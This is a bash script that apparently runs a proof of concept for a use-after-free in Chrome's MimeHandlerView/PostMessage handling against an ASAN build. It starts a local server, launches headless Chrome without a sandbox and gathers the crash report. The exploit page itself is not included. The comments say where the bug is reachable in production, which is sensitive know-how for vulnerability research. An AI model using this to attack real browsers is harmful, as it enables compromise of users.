#!/bin/bash
# Run the PostMessageSupport UAF POC against an ASAN Chrome build.
#
# Note on --disable-features=PdfOopif:
#   The full-page GuestView MimeHandlerView path (where the vulnerable
#   MimeHandlerViewContainerManager::GetTargetFrame() is reachable) is the
#   *default* on ChromeOS (kPdfOopif is FEATURE_DISABLED_BY_DEFAULT there) and
#   is also reachable on any platform via QuickOffice MIME types or the
#   PdfViewerOutOfProcessIframe enterprise policy. We disable PdfOopif here only
#   to reproduce that production configuration on a Linux test host.

set -e
DIR="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PORT="${PORT:-8080}"
PROFILE=/tmp/chrome-poc-profile
LOG="$DIR/chrome-asan.log"

cd "$DIR"
python3 make_pdf.py >/dev/null 2>&1 || true

# Start the HTTP server.
python3 server.py "$PORT" >server.log 2>&1 &
SERVER_PID=$!
trap 'kill $SERVER_PID 2>/dev/null; rm -rf "$PROFILE"' EXIT
sleep 1

rm -rf "$PROFILE"
rm -f "$LOG"

ASAN_OPTIONS="${ASAN_OPTIONS:-detect_odr_violation=0:symbolize=1}" \
"$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --disable-gpu --disable-dev-shm-usage \
  --ozone-platform=headless \
  --user-data-dir="$PROFILE" \
  --enable-logging=stderr --v=0 \
  --disable-features=PdfOopif \
  "http://127.0.0.1:$PORT/poc.html" \
  >"$LOG" 2>&1 &
CHROME_PID=$!

# Wait up to 90 seconds for ASAN to fire or Chrome to exit.
for i in $(seq 1 90); do
  if grep -q "ABORTING" "$LOG" 2>/dev/null; then
    break
  fi
  if grep -q "AddressSanitizer" "$LOG" 2>/dev/null; then
    sleep 4  # let symbolizer finish
    break
  fi
  if ! kill -0 $CHROME_PID 2>/dev/null; then
    break
  fi
  sleep 1
done

kill $CHROME_PID 2>/dev/null || true
wait $CHROME_PID 2>/dev/null || true

echo
echo "=== POC console output ==="
grep "\[poc\]" "$LOG" || true
echo
echo "=== ASAN report ==="
grep -A300 "ERROR: AddressSanitizer" "$LOG" || echo "(no ASAN error in $LOG)"
